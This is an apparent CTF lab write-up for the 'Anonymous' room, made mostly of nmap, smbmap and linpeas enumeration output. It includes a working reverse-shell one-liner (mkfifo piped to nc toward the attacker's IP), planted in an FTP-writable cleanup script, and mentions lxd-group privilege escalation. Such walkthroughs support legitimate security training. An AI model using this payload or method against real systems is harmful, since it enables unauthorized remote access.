

## NAME [IP]

479

Anonymous

Not the hacking group

Help

To access material, start machines and answer questions [login](#).

Chart

Scoreboard

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This is a free room, which means anyone can deploy virtual machines in the room (without being subscribed)! 10163 users are in here and this room is 426 days old.

Created by NamelessOne

0%

Task 1 ☐ Pwn

## HOST

OS: Linux version 4.15.0-99-generic (buildd@lcy01-amd64-013) (gcc version 7.5.0 (Ubuntu 7.5.0-3ubuntu1~18.04))  
#100-Ubuntu SMP Wed Apr 22 20:32:56 UTC 2020

## ENUM

Used Autorecon for most of the recon phase. I didn't need to do a lot of recon for this box it was fairly easy. The priv-esc was the only part I ran into problems with because I didn't find the PAT post in time and was following bad guides.

## VULN

The main vulns I used were the ftp server misconfiguration which was a really easy shell. After such I was able to take advantage of the fact I was part of the lxd group and mnt an alpine image on the file system.

## SERVICE ENUM

## TCP

[ NMAP OVERVIEW ]

```
# Nmap 7.91 scan initiated Sun Jul 18 00:55:04 2021 as: nmap -vv --reason -Pn -sV -sC --version-all
-oN /home/user/Desk/ctf/anon/results/10.10.105.219/scans/_quick_tcp_nmap.txt -oX /home/user/Desk/-
ctf/anon/results/10.10.105.219/scans/xml/_quick_tcp_nmap.xml 10.10.105.219
Nmap scan report for anon.thm (10.10.105.219)
Host is up, received user-set (0.11s latency).
Scanned at 2021-07-18 00:55:04 BST for 67s
Not shown: 996 closed ports
Reason: 996 conn-refused
PORT      STATE SERVICE      REASON  VERSION
21/tcp    open  ftp          syn-ack  vsftpd 2.0.8 or later
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_ drwxrwxrwx  2 111      113      4096 Jun 04 2020 scripts [NSE: writeable]
|_ ftp-syst:
|   STAT:
|_ FTP server status:
|   Connected to ::ffff:10.6.80.23
|   Logged in as ftp
|   TYPE: ASCII
|   No session bandwidth limit
|   Session timeout in seconds is 300
|   Control connection is plain text
|   Data connections will be plain text
|   At session startup, client count was 1
|   vsFTPd 3.0.3 - secure, fast, stable
|_ End of status
22/tcp    open  ssh          syn-ack  OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 8b:ca:21:62:1c:2b:23:fa:6b:c6:1f:a8:13:fe:1c:68 (RSA)
|_ ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAQDCi47ePYjDctfwgAphABwT1jpPkKajXoLv3bb/-
zvpvDvXwWKnM6nZuzL2HA1veSqa90ydSSpg8S+B8SLpkFycv7iSy2/Jmf7qY+8oQxWThH1fwBMI05g/-
TTtRRta6IPoKaMcle8hnp5pSP5D4saCpSw3E5rKd8qj3oAj6S8TWgE9cBNJbMRtVu1+sKjUy/-
7ymikcPGAjRSSaFDroF9fmGDQtd61oU5waKqurhZpre70Uf0kZGwt6954rwbXthTeEjf+4J5+gIPDLcKzV07BxkuJgTqk41E9ZU/-
5INBXGpgI5r4mZknbEPJKS47Xa0vKqm9QWveo0S0gkqdhIPjnhD
|   256 95:89:a4:12:e2:e6:ab:90:5d:45:19:ff:41:5f:74:ce (ECDSA)
|_ ecdsa-sha2-nistp256
AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBpjHnAlR7sBuoSM2X5sATL1lsFrcUNpTS87qXzhMD99aGG-
zy0lnWmjHGNm34cWSz0ohxhoK2fv9NWwcIQ5A/ng=
|   256 e1:2a:96:a4:ea:8f:68:8f:cc:74:b8:f0:28:72:70:cd (ED25519)
|_ ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDHIuFL9AdcmaAIY7u+aJillcovB44FA632BSQ7sUqap
139/tcp   open  netbios-ssn syn-ack  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn syn-ack  Samba smbd 4.7.6-Ubuntu (workgroup: WORKGROUP)
Service Info: Host: ANONYMOUS; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_ clock-skew: mean: 1s, deviation: 0s, median: 1s
|_ nbstat: NetBIOS name: ANONYMOUS, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
|_ Names:
|   ANONYMOUS<00>      Flags: <unique><active>
|   ANONYMOUS<03>      Flags: <unique><active>
|   ANONYMOUS<20>      Flags: <unique><active>
|   \x01\x02_MSBROWSE__\x02<01>  Flags: <group><active>
|   WORKGROUP<00>      Flags: <group><active>
|   WORKGROUP<1d>      Flags: <unique><active>
|   WORKGROUP<1e>      Flags: <group><active>
|_ Statistics:
|   00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|   00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|   00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|_ p2p-conficker:
|   Checking for Conficker.C or higher...
|   Check 1 (port 8662/tcp): CLEAN (Couldn't connect)
|   Check 2 (port 20969/tcp): CLEAN (Couldn't connect)
|   Check 3 (port 16816/udp): CLEAN (Failed to receive data)
|   Check 4 (port 43445/udp): CLEAN (Failed to receive data)
|   0/4 checks are positive: Host is CLEAN or ports are blocked
|_ smb-os-discovery:
|   OS: Windows 6.1 (Samba 4.7.6-Ubuntu)
|   Computer name: anonymous
|   NetBIOS computer name: ANONYMOUS\x00
|   Domain name: \x00
|   FQDN: anonymous
|   System time: 2021-07-17T23:56:06+00:00
|_ smb-security-mode:
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
|_ smb2-security-mode:
```

```
| 2.02:
|_ Message signing enabled but not required
|_ smb2-time:
|   date: 2021-07-17T23:56:06
|_ start_date: N/A
```

```
Read data files from: /usr/bin/./share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Jul 18 00:56:11 2021 -- 1 IP address (1 host up) scanned in 67.15 seconds
```

## FTP

**NAME** **vsftpd**

**VERSION** 2.0.8 or later

**What does this service do?** vsftpd, is an FTP server for Unix-like systems, including Linux. It is licensed under the GNU General Public License. It supports IPv6, TLS and FTPS. It is the default FTP server in the Ubuntu, CentOS, Fedora, NimbleX, Slackware and RHEL Linux distributions.

**What is the most valuable asset this service has/has access to?** The Machine

**What are its sensitive files?**

clean.sh

**Is there a GitHub?**

<https://pkgs.org/download/vsftpd>

## ENUM

## nmap

```
# Nmap 7.91 scan initiated Sun Jul 18 00:56:11 2021 as: nmap -vv --reason -Pn -sV -p 21 "--
script=banner,(ftp* or ssl*) and not (brute or broadcast or dos or external or fuzzer)" -oN /home/-
user/Desktop/ctf/anon/results/10.10.105.219/scans/tcp_21_ftp_nmap.txt -oX /home/user/Desktop/ctf/anon/-
results/10.10.105.219/scans/xml/tcp_21_ftp_nmap.xml 10.10.105.219
Nmap scan report for anon.thm (10.10.105.219)
Host is up, received user-set (0.17s latency).
Scanned at 2021-07-18 00:56:12 BST for 15s
```

```
PORT      STATE SERVICE REASON  VERSION
21/tcp    open  ftp      syn-ack vsftpd 2.0.8 or later
|_ banner: 220 NamelessOne's FTP Server!
|_ ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_ drwxrwxrwx   2 111      113      4096 Jun 04 2020 scripts [NSE: writeable]
|_ ftp-syst:
|   STAT:
|   FTP server status:
|     Connected to ::ffff:10.6.80.23
|     Logged in as ftp
|     TYPE: ASCII
|     No session bandwidth limit
|     Session timeout in seconds is 300
|     Control connection is plain text
|     Data connections will be plain text
|     At session startup, client count was 1
|     vsFTPD 3.0.3 - secure, fast, stable
|_ End of status
|_ sslv2-drown:
```

```
Read data files from: /usr/bin/./share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Jul 18 00:56:27 2021 -- 1 IP address (1 host up) scanned in 16.00 seconds
```

## STEPS TAKEN FOR ENUM

## VULN

<https://www.helpsystems.com/blog/10-essential-tips-securing-ftp-and-sftp-servers>

## STEPS TO CONFIRM VULN

1. After finding the server allows anonymous ftp I looked around and found out that the permissions for the anon user weren't properly set
2. I then found a shell script running I could manipulate to execute a shell.
3. You cant change file permissions in ftp so I just made a script to open a shell and named it clean.sh and use the put ftp command to keep the same file permissions.
4. Reverse Shell open :PROFIT:

## NOTES AND THEORIES

<https://www.exploit-db.com/exploits/49757>

<https://www.exploit-db.com/exploits/49719>

Here are some other possible vulns you could use

## SSH

**NAME** **OpenSSH**

**VERSION** 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)

**KEYS:**

**USERNAMES:** NamelessOne, namelessone,

## ENUM

## nmap

```
# Nmap 7.91 scan initiated Sun Jul 18 00:56:11 2021 as: nmap -vv --reason -Pn -sV -p 22 --
script=banner,ssh2-enum-algos,ssh-hostkey,ssh-auth-methods -oN /home/user/Desktop/ctf/anon/results/-
10.10.105.219/scans/tcp_22_ssh_nmap.txt -oX /home/user/Desktop/ctf/anon/results/10.10.105.219/scans/-
xml/tcp_22_ssh_nmap.xml 10.10.105.219
Nmap scan report for anon.thm (10.10.105.219)
Host is up, received user-set (0.16s latency).
Scanned at 2021-07-18 00:56:12 BST for 7s

PORT      STATE SERVICE REASON  VERSION
22/tcp    open  ssh      syn-ack OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
|_ banner: SSH-2.0-OpenSSH_7.6p1 Ubuntu-4ubuntu0.3
```

```

ssh-auth-methods:
  Supported authentication methods:
    publickey
    password
ssh-hostkey:
  2048 8b:ca:21:62:1c:2b:23:fa:6b:c6:1f:a8:13:fe:1c:68 (RSA)
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAQDCi47ePYjDctfwgAphABwT1jpPkKajXoLv3bb/-
zvvpDvXwWKnM6nZuzL2HA1veSqa90ydSSpg8S+B8SLpkFycv7iSy2/Jmf7qY+8oQxWThH1fwBMI05g/-
TTtRRta6IPoKaMCle8hnp5pSP5D4saCpSW3E5rKd8qj3oAj6S8TWgE9cBNJbMRtVu1+sKjUy/-
7ymikcPGAjRSSaFDroF9fmGDQtd61oU5waKqurhZpre70Uf0kZGwt6954rwbXthTeEjf+4J5+gIPDLcKzV07BxkuJgTqk4LE9ZU/-
5INBXGpgI5r4mZknbEPJKS47Xa0vkgm9QWveo0SQgkqdhIPjnhD
  256 95:89:a4:12:e2:e6:ab:90:5d:45:19:ff:41:5f:74:ce (ECDSA)
ecdsa-sha2-nistp256
AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBpjHnAlR7sBuoSM2X5sATLl1sFrcUnpTS87qXzhMD99aGG-
zy0lnWmjHGNmm34cWsz0ohxhoK2fv9NwWcIQ5A/ng=
  256 e1:2a:96:a4:ea:8f:68:8f:cc:74:b8:f0:28:72:70:cd (ED25519)
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDHIuFL9AdcmaAIY7u+aJil1covB44FA632BSQ7sUqap
ssh2-enum-algos:
  kex_algorithms: (10)
    curve25519-sha256
    curve25519-sha256@libssh.org
    ecdh-sha2-nistp256
    ecdh-sha2-nistp384
    ecdh-sha2-nistp521
    diffie-hellman-group-exchange-sha256
    diffie-hellman-group16-sha512
    diffie-hellman-group18-sha512
    diffie-hellman-group14-sha256
    diffie-hellman-group14-sha1
  server_host_key_algorithms: (5)
    ssh-rsa
    rsa-sha2-512
    rsa-sha2-256
    ecdsa-sha2-nistp256
    ssh-ed25519
  encryption_algorithms: (6)
    chacha20-poly1305@openssh.com
    aes128-ctr
    aes192-ctr
    aes256-ctr
    aes128-gcm@openssh.com
    aes256-gcm@openssh.com
  mac_algorithms: (10)
    umac-64-etm@openssh.com
    umac-128-etm@openssh.com
    hmac-sha2-256-etm@openssh.com
    hmac-sha2-512-etm@openssh.com
    hmac-sha1-etm@openssh.com
    umac-64@openssh.com
    umac-128@openssh.com
    hmac-sha2-256
    hmac-sha2-512
    hmac-sha1
  compression_algorithms: (2)
    none
    zlib@openssh.com
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/bin/./share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Jul 18 00:56:19 2021 -- 1 IP address (1 host up) scanned in 7.61 seconds

```

## VULN

<https://www.exploit-db.com/exploits/45939>

## NOTES AND THEORIES

User-Enumeration if you wanted too :p

## SMB

NAME **Samba smbd**

VERSION **4.7.6-Ubuntu** (workgroup: WORKGROUP)

What does this service do? **Samba is the standard Windows interoperability suite of programs for Linux and Unix.**

What is the most valuable asset this service has/has access to? **Possible Shares etc...**

What are its sensitive files? idk I never used it?

## ENUM

### smbclient

Sharename	Type	Comment
-----	----	-----
print\$	Disk	Printer Drivers
pics	Disk	My SMB Share Directory for Pics
IPC\$	IPC	IPC Service (anonymous server (Samba, Ubuntu))
SMB1 disabled -- no workgroup available		

### smbmap

[+] Guest session IP: 10.10.105.219:139 Name: anon.thm		
Disk	Permissions	Comment
----	-----	-----
print\$	NO ACCESS	Printer Drivers
pics	READ ONLY	My SMB Share
Directory for Pics		
.\pics\*		
dr--r--r--	0 Sun May 17 12:11:34 2020	.
dr--r--r--	0 Thu May 14 02:59:10 2020	..
fr--r--r--	42663 Tue May 12 01:43:42 2020	corgo2.jpg
fr--r--r--	265188 Tue May 12 01:43:42 2020	puppos.jpeg
IPC\$	NO ACCESS	IPC Service
(anonymous server (Samba, Ubuntu))		
[+] Guest session IP: 10.10.105.219:445 Name: anon.thm		
[+] Guest session IP: 10.10.105.219:139 Name: anon.thm		
Disk	Permissions	Comment
----	-----	-----
print\$	NO ACCESS	Printer Drivers
pics	READ ONLY	My SMB Share
Directory for Pics		
.\pics\*		
dr--r--r--	0 Sun May 17 12:11:34 2020	.
dr--r--r--	0 Thu May 14 02:59:10 2020	..
fr--r--r--	42663 Tue May 12 01:43:42 2020	corgo2.jpg
fr--r--r--	265188 Tue May 12 01:43:42 2020	puppos.jpeg
IPC\$	NO ACCESS	IPC Service
(anonymous server (Samba, Ubuntu))		
Disk	Permissions	Comment
----	-----	-----
print\$	NO ACCESS	Printer Drivers
pics	READ ONLY	My SMB Share
Directory for Pics		
.\pics\*		

```

dr--r--r--          0 Sun May 17 12:11:34 2020 .
dr--r--r--          0 Thu May 14 02:59:10 2020 ..
fr--r--r--          42663 Tue May 12 01:43:42 2020 corgo2.jpg
fr--r--r--          265188 Tue May 12 01:43:42 2020 puppos.jpeg
IPC$
NO ACCESS          IPC Service
(anonymous server (Samba, Ubuntu))
[+] Guest session    IP: 10.10.105.219:445    Name:
anon.thm
Disk
----
print$              NO ACCESS          Printer Drivers
pics                READ ONLY          My SMB Share
Directory for Pics
.\pics\*
dr--r--r--          0 Sun May 17 12:11:34 2020 .
dr--r--r--          0 Thu May 14 02:59:10 2020 ..
fr--r--r--          42663 Tue May 12 01:43:42 2020 corgo2.jpg
fr--r--r--          265188 Tue May 12 01:43:42 2020 puppos.jpeg
IPC$
NO ACCESS          IPC Service
(anonymous server (Samba, Ubuntu))

```

```

[+] Guest session    IP: 10.10.105.219:139    Name:
anon.thm
[+] Guest session    IP: 10.10.105.219:445    Name:
anon.thm
Disk
----
print$              NO ACCESS          Printer Drivers
pics                READ ONLY          My SMB Share
Directory for Pics
IPC$
NO ACCESS          IPC Service
(anonymous server (Samba, Ubuntu))
Disk
----
print$              NO ACCESS          Printer Drivers
pics                READ ONLY          My SMB Share
Directory for Pics
IPC$
NO ACCESS          IPC Service
(anonymous server (Samba, Ubuntu))
[+] Guest session    IP: 10.10.105.219:139    Name:
anon.thm
Disk
----
print$              NO ACCESS          Printer Drivers
pics                READ ONLY          My SMB Share
Directory for Pics
IPC$
NO ACCESS          IPC Service
(anonymous server (Samba, Ubuntu))
[+] Guest session    IP: 10.10.105.219:445    Name:
anon.thm
Disk
----
print$              NO ACCESS          Printer Drivers
pics                READ ONLY          My SMB Share
Directory for Pics
IPC$
NO ACCESS          IPC Service
(anonymous server (Samba, Ubuntu))

```

## nmap

```

# Nmap 7.91 scan initiated Sun Jul 18 00:56:11 2021 as: nmap -vv --reason -Pn -sV -p 445 "--
script=banner,(nbstat or smb* or ssl*) and not (brute or broadcast or dos or external or fuzzer)" --
script-args=unsafe=1 -oN /home/user/Desktop/ctf/anon/results/10.10.105.219/scans/tcp_445_smb_nmap.txt -
oX /home/user/Desktop/ctf/anon/results/10.10.105.219/scans/xml/tcp_445_smb_nmap.xml 10.10.105.219
Nmap scan report for anon.thm (10.10.105.219)
Host is up, received user-set (0.18s latency).
Scanned at 2021-07-18 00:56:12 BST for 332s

```

```
PORT    STATE SERVICE    REASON  VERSION
445/tcp open  netbios-ssn syn-ack Samba smbd 4.7.6-Ubuntu (workgroup: WORKGROUP)
Service Info: Host: ANONYMOUS
```

#### Host script results:

```
nbstat: NetBIOS name: ANONYMOUS, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
Names:
  ANONYMOUS<00>      Flags: <unique><active>
  ANONYMOUS<03>      Flags: <unique><active>
  ANONYMOUS<20>      Flags: <unique><active>
  \x01\x02_MSBROWSE__\x02<01>  Flags: <group><active>
  WORKGROUP<00>      Flags: <group><active>
  WORKGROUP<1d>      Flags: <unique><active>
  WORKGROUP<1e>      Flags: <group><active>
Statistics:
  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
smb-enum-domains:
  ANONYMOUS
    Groups: n/a
    Users: namelessone
    Creation time: unknown
    Passwords: min length: 5; min age: n/a days; max age: n/a days; history: n/a passwords
    Account lockout disabled
  Builtin
    Groups: n/a
    Users: n/a
    Creation time: unknown
    Passwords: min length: 5; min age: n/a days; max age: n/a days; history: n/a passwords
    Account lockout disabled
smb-enum-sessions:
  <nobody>
smb-enum-shares:
  account_used: guest
  \\10.10.105.219\IPC$:
    Type: STYPE_IPC_HIDDEN
    Comment: IPC Service (anonymous server (Samba, Ubuntu))
    Users: 4
    Max Users: <unlimited>
    Path: C:\tmp
    Anonymous access: READ/WRITE
    Current user access: READ/WRITE
  \\10.10.105.219\pics:
    Type: STYPE_DISKTREE
    Comment: My SMB Share Directory for Pics
    Users: 0
    Max Users: <unlimited>
    Path: C:\home\namelessone\pics
    Anonymous access: READ
    Current user access: READ
  \\10.10.105.219\print$:
    Type: STYPE_DISKTREE
    Comment: Printer Drivers
    Users: 0
    Max Users: <unlimited>
    Path: C:\var\lib\samba\printers
    Anonymous access: <none>
    Current user access: <none>
smb-enum-users:
  ANONYMOUS\namelessone (RID: 1003)
    Full name: namelessone
    Description:
    Flags: Normal user account
smb-ls: Volume \\10.10.105.219\pics
  SIZE      TIME                FILENAME
  <DIR>      2020-05-17T11:11:34  .
  <DIR>      2020-05-14T01:59:10  ..
  42663      2020-05-12T00:43:42  corgo2.jpg
  265188     2020-05-12T00:43:42  puppos.jpeg
smb-mbenum:
  DFS Root
    ANONYMOUS 0.0 anonymous server (Samba, Ubuntu)
  Master Browser
    ANONYMOUS 0.0 anonymous server (Samba, Ubuntu)
  Print server
    ANONYMOUS 0.0 anonymous server (Samba, Ubuntu)
```



```

Server
  ANONYMOUS 0.0 anonymous server (Samba, Ubuntu)
Server service
  ANONYMOUS 0.0 anonymous server (Samba, Ubuntu)
Unix server
  ANONYMOUS 0.0 anonymous server (Samba, Ubuntu)
Windows NT/2000/XP/2003 server
  ANONYMOUS 0.0 anonymous server (Samba, Ubuntu)
Workstation
  ANONYMOUS 0.0 anonymous server (Samba, Ubuntu)
- smb-os-discovery:
  OS: Windows 6.1 (Samba 4.7.6-Ubuntu)
  Computer name: anonymous
  NetBIOS computer name: ANONYMOUS\x00
  Domain name: \x00
  FQDN: anonymous
  System time: 2021-07-17T23:56:21+00:00
- smb-print-text: false
smb-protocols:
  dialects:
    NT LM 0.12 (SMBv1) [dangerous, but default]
    2.02
    2.10
    3.00
    3.02
    3.11
- smb-security-mode:
  account_used: guest
  authentication_level: user
  challenge_response: supported
  message_signing: disabled (dangerous, but default)
- smb-system-info: ERROR: Script execution failed (use -d to debug)
- smb-vuln-ms10-061: false
- smb2-capabilities:
  2.02:
    Distributed File System
  2.10:
    Distributed File System
    Leasing
    Multi-credit operations
  3.00:
    Distributed File System
    Leasing
    Multi-credit operations
  3.02:
    Distributed File System
    Leasing
    Multi-credit operations
  3.11:
    Distributed File System
    Leasing
    Multi-credit operations
- smb2-security-mode:
  2.02:
    Message signing enabled but not required
- smb2-time:
  date: 2021-07-17T23:56:22
- start_date: N/A

Read data files from: /usr/bin/./share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Jul 18 01:01:44 2021 -- 1 IP address (1 host up) scanned in 332.82 seconds

```

## STEPS TAKEN FOR ENUM

None Didn't need it. :)

## SUMMARY OF VULNERABILITIES

FTP was misconfigured and allowed us to impersonated a cleanup script and pop a shell. Smb has a share that is

interesting, but I followed the shell I popped all the way to root.

## ATTACK SURFACE QUESTIONS

**What are our vulnerable services?**

FTP, (maybe SMB)

**What seems most likely or most straightforward to leverage and why?**

FTP

**What does this service give us access to?**

The machine

**Do we have all the correct files/versions/access to exploit?**

Yes netcat and bash

## STUCK?

**Things to consider**

- ☐ Have you confirmed the service on the port manually and googled all the things (the SSH string, the banner text, the source)?
- ☐ Is there a service that will allow you to enumerate something useful (i.e. usernames) but maybe doesn't make that obvious (e.g. RID brute-force through SMB with crackmapexec or lookupsid.py)?
- ☐ Have you used the best wordlist possible for your tasks (is there a better/bigger directory list? Is there a SecLists cred list for this service?)
- ☐ Have you fuzzed the directories you have found for a) more directories, or b) common filetypes -x php,pl,sh,etc
- ☐ Have you tried some manual testing (MySQL, wireshark inspections)
- ☐ Have you collected all the hashes **and cracked them**?
- ☐ Have you tried ALL COMBINATIONS of the username/passwords and not just the pairs given? Have you tried them across all services/apps?
- ☐ Do the version numbers tell you anything about the host?
- ☐ Have you tried brute-force (cewl, patator)?
- ☐ Can you think of a way to find more information: More credentials, more URLs, more files, more ports, more access?
- ☐ Do you need to relax some of the terms used for searching? Instead of v2.8 maybe we check for anything under 3.
- ☐ Do you need a break?

## SUMMARY OF EXPLOITATION

**Name:** Misconfigured FTP Server

**Link:** <https://www.developer.com/guides/ftp-attacks/>

**TYPE:** Misconfigured

**EXPLANATION:**

The ftp server had misconfigured anonymous login user permissions which allowed for the user in question to mess with the cleanup script.

**HOW WAS THIS EXPLOITED?**

```
echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.6.80.23 4444 >/tmp/f" > cleanup.sh
ftp $IP
cd Scripts
put cleanup.sh
nc -lvnp 4444
```

**SCREENSHOTS:**

```
~/Desk/ctf/anon took 30s
01:07:06 > nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.6.80.23] from (UNKNOWN) [10.10.40.30] 56176
sh: 0: can't access tty; job control turned off
$ python -c 'import pty; pty.spawn("/bin/bash")'

namelessone@anonymous:~$
```

=====

## STEPS:

Follow POC

## POST-EX

## ENUM

## SYSTEM

```
Services
Search for outdated versions
[ + ] acpid
[ + ] apparmor
[ + ] apport
[ + ] atd
[ - ] console-setup.sh
[ + ] cron
[ - ] cryptdisks
[ - ] cryptdisks-early
[ + ] dbus
[ + ] ebttables
[ + ] grub-common
[ - ] hwclock.sh
[ - ] irqbalance
[ + ] iscsid
[ - ] keyboard-setup.sh
[ + ] kmod
[ - ] lvm2
[ + ] lvm2-lvmetad
[ + ] lvm2-lvmpolld
[ + ] lxcfs
[ + ] lxd
[ - ] mdadm
[ - ] mdadm-waitidle
[ + ] nmbd
[ - ] open-iscsi
[ - ] open-vm-tools
[ - ] plymouth
[ - ] plymouth-log
[ + ] procs
[ - ] rsync
[ + ] rsyslog
[ - ] samba-ad-dc
[ - ] screen-cleanup
```

```
[ + ] smbd
[ + ] ssh
[ + ] udev
[ + ] ufw
[ + ] unattended-upgrades
[ + ] uidd
[ + ] vsftpd
```

Systemd PATH  
<https://book.hacktricks.xyz/linux-unix/privilege-escalation#systemd-path-relative-paths>  
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin

Analyzing .service files  
<https://book.hacktricks.xyz/linux-unix/privilege-escalation#services>  
You can't write on systemd PATH

System timers  
<https://book.hacktricks.xyz/linux-unix/privilege-escalation#timers>

NEXT UNIT	LEFT	LAST	PASSED
Sun 2021-07-18 06:29:26 UTC	5h 32min left	Sun 2021-07-18 00:10:36 UTC	46min ago apt-daily-upgrade.timer apt-daily-upgrade.service
Sun 2021-07-18 17:27:52 UTC	16h left	Sun 2021-07-18 00:10:36 UTC	46min ago apt-daily.timer apt-daily.service
Sun 2021-07-18 23:28:50 UTC	22h left	Sun 2021-07-18 00:10:36 UTC	46min ago motd-news.timer motd-news.service
Mon 2021-07-19 00:00:00 UTC	23h left	Sun 2021-07-18 00:10:36 UTC	46min ago fstrim.timer fstrim.service
Mon 2021-07-19 00:23:47 UTC	23h left	Sun 2021-07-18 00:23:47 UTC	33min ago systemd-tmpfiles-clean.timer systemd-tmpfiles-clean.service
n/a	n/a	n/a	n/a snapd.snap-repair.timer snapd.snap-repair.service
n/a	n/a	n/a	n/a ureadahead-stop.timer ureadahead-stop.service

## FILES && DIR

.sh files in path  
<https://book.hacktricks.xyz/linux-unix/privilege-escalation#script-binaries-in-path>  
/usr/bin/gettext.sh

Unexpected in root  
/swap.img

Files (scripts) in /etc/profile.d/  
<https://book.hacktricks.xyz/linux-unix/privilege-escalation#profiles-files>

```
total 36
drwxr-xr-x  2 root root 4096 Feb  3  2020 .
drwxr-xr-x 96 root root 4096 Jun  4  2020 ..
-rw-r--r--  1 root root  96 Sep 27  2019 01-locale-fix.sh
-rw-r--r--  1 root root 825 Oct 30  2019 apps-bin-path.sh
-rw-r--r--  1 root root 664 Apr  2  2018 bash_completion.sh
-rw-r--r--  1 root root 1003 Dec 29  2015 cedi lla-portuguese.sh
-rw-r--r--  1 root root 1557 Dec  4  2017 Z97-byobu.sh
-rwxr-xr-x  1 root root 873 Jan 15  2020 Z99-cloudinit-warnings.sh
-rwxr-xr-x  1 root root 3417 Jan 15  2020 Z99-cloud-locale-test.sh
```

Permissions in init, init.d, systemd, and rc.d  
<https://book.hacktricks.xyz/linux-unix/privilege-escalation#init-init-d-systemd-and-rc-d>

```
Hashes inside passwd file? ..... No
Writable passwd file? ..... No
Credentials in fstab/mtab? ..... No
Can I read shadow files? ..... No
Can I read opasswd file? ..... No
Can I write in network-scripts? ..... No
Can I read root folder? ..... No
```

Searching root files in home dirs (limit 30)  
/home/  
/home/namelesone/.bash\_history  
/root/

===== Searching folders owned by me containing others files on it (limit 100)

===== Readable files belonging to root and readable by me but not world readable

```
-rw-r----- 1 root adm 229063 May 17 2020 /var/log/apt/term.log
-rw-r----- 1 root dip 656 Dec 6 2019 /snap/core/8268/etc/chatscripts/provider
-rw-r----- 1 root dip 1093 Dec 6 2019 /snap/core/8268/etc/ppp/peers/provider
-rw-r----- 1 root adm 31 Dec 6 2019 /snap/core/8268/var/log/dmesg
-rw-r----- 1 root adm 31 Dec 6 2019 /snap/core/8268/var/log/fsck/checkfs
-rw-r----- 1 root adm 31 Dec 6 2019 /snap/core/8268/var/log/fsck/checkroot
-rw-r----- 1 root dip 656 Apr 10 2020 /snap/core/9066/etc/chatscripts/provider
-rw-r----- 1 root dip 1093 Apr 10 2020 /snap/core/9066/etc/ppp/peers/provider
-rw-r----- 1 root adm 31 Apr 10 2020 /snap/core/9066/var/log/dmesg
-rw-r----- 1 root adm 31 Apr 10 2020 /snap/core/9066/var/log/fsck/checkfs
-rw-r----- 1 root adm 31 Apr 10 2020 /snap/core/9066/var/log/fsck/checkroot
```

===== Modified interesting files in the last 5mins (limit 100)

```
/home/namelessone/.config/lxc/cookies
/var/log/syslog
/var/log/journal/11896ab258124dc7bda96029dded6166/user-1000.journal
/var/log/journal/11896ab258124dc7bda96029dded6166/system.journal
```

===== Writable log files (logrotten) (limit 100)

```
https://book.hacktricks.xyz/linux-unix/privilege-escalation#logrotate-exploitation
Writable: /var/ftp/scripts/removed_files.log
```

===== Files inside /home/namelessone (limit 20)

```
total 548
drwxr-xr-x 7 namelessone namelessone 4096 Jul 18 00:43 .
drwxr-xr-x 3 root root 4096 May 11 2020 ..
lrwxrwxrwx 1 root root 9 May 11 2020 .bash_history -> /dev/null
-rw-r--r-- 1 namelessone namelessone 220 Apr 4 2018 .bash_logout
-rw-r--r-- 1 namelessone namelessone 3771 Apr 4 2018 .bashrc
drwx----- 2 namelessone namelessone 4096 May 11 2020 .cache
drwxr-x--- 3 namelessone namelessone 4096 Jul 18 00:42 .config
drwx----- 3 namelessone namelessone 4096 Jul 18 00:44 .gnupg
-rw----- 1 namelessone namelessone 36 May 12 2020 .lessht
-rwxrwxr-x 1 namelessone namelessone 466554 Jul 18 00:41 linpeas.sh
drwxrwxr-x 3 namelessone namelessone 4096 May 12 2020 .local
drwxr-xr-x 2 namelessone namelessone 4096 May 17 2020 pics
-rw-r--r-- 1 namelessone namelessone 807 Apr 4 2018 .profile
-rw-rw-r-- 1 namelessone namelessone 66 May 12 2020 .selected_editor
-rw-r--r-- 1 namelessone namelessone 0 May 12 2020 .sudo_as_admin_successful
-rw----- 1 namelessone namelessone 28672 Jul 18 00:37 .swp
-rw-r--r-- 1 namelessone namelessone 33 May 11 2020 user.txt
-rw----- 1 namelessone namelessone 7994 May 12 2020 .viminfo
-rw-rw-r-- 1 namelessone namelessone 215 May 13 2020 .wget-hsts
```

===== Backup files (limited 100)

```
-rw-r--r-- 1 root root 7905 Apr 22 2020 /lib/modules/4.15.0-99-generic/kernel/drivers/net/team/-
team_mode_activebackup.ko
